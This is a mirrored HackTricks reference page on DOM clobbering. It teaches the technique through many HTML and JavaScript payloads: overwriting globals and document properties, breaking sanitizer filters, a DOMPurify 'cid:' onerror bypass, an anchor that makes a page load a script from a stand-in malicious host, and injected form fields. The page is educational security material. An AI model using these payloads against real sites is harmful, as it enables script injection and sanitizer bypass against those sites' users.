mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
256 lines
12 KiB
Markdown
256 lines
12 KiB
Markdown
# Dom Clobbering
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Basics**
|
||
|
||
It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.
|
||
|
||
```html
|
||
<form id=x></form>
|
||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||
```
|
||
|
||
**Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.
|
||
|
||
Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**:
|
||
|
||
```html
|
||
<a href="controlled string" id=x></a>
|
||
<script>
|
||
console.log(x);//controlled string
|
||
</script>
|
||
```
|
||
|
||
### Arrays & Attributes
|
||
|
||
It's also possible to **clobber an array** and **object attributes**:
|
||
|
||
```html
|
||
<a id=x>
|
||
<a id=x name=y href=controlled>
|
||
<script>
|
||
console.log(x[1])//controlled
|
||
console.log(x.y)//controlled
|
||
</script>
|
||
```
|
||
|
||
To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**:
|
||
|
||
```html
|
||
<form id=x name=y><input id=z value=controlled></form>
|
||
<form id=x></form>
|
||
<script>
|
||
alert(x.y.z.value)//controlled
|
||
</script>
|
||
```
|
||
|
||
Clobbering more attributes is **more complicated but still possible**, using iframes:
|
||
|
||
```html
|
||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>alert(x.y)//controlled</script>
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**.
|
||
{% endhint %}
|
||
|
||
To clobber deeper attributes, you can use **iframes with html encoding** this way:
|
||
|
||
```html
|
||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>
|
||
alert(a.b.c.d.e)//controlled
|
||
</script>
|
||
```
|
||
|
||
### **Filter Bypassing**
|
||
|
||
If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.
|
||
|
||
```html
|
||
<form id=x></form>
|
||
<form id=y>
|
||
<input name=nodeName>
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById('x').nodeName)//FORM
|
||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
|
||
## **Clobbering `window.someObject`**
|
||
|
||
In JavaScript it's common to find:
|
||
|
||
```javascript
|
||
var someObject = window.someObject || {};
|
||
```
|
||
|
||
Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:
|
||
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
|
||
In a vulnerable code such as:
|
||
|
||
```html
|
||
<script>
|
||
window.onload = function(){
|
||
let someObject = window.someObject || {};
|
||
let script = document.createElement('script');
|
||
script.src = someObject.url;
|
||
document.body.appendChild(script);
|
||
};
|
||
</script>
|
||
```
|
||
|
||
This method exploits the script source to execute unwanted code.
|
||
|
||
**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
|
||
|
||
Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.
|
||
|
||
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering document object
|
||
|
||
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
|
||
|
||
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
|
||
>
|
||
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
|
||
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
|
||
## Writing after the element clobbered
|
||
|
||
The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:
|
||
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">clobbered</html>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
alert(document.querySelector('.x').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
|
||
Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack:
|
||
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">clobbered</html>
|
||
<style>
|
||
p{display:none;}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
|
||
Investigations into SVG revealed that a `<body>` tag can also be utilized effectively:
|
||
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
|
||
For the HTML tag to function within SVG in browsers like Chrome and Firefox, a `<foreignobject>` tag is necessary:
|
||
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">clobbered</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
|
||
|
||
## Clobbering Forms
|
||
|
||
It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code):
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form=id-other-form name=info>
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
{% endcode %}
|
||
|
||
* For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||
|
||
## References
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|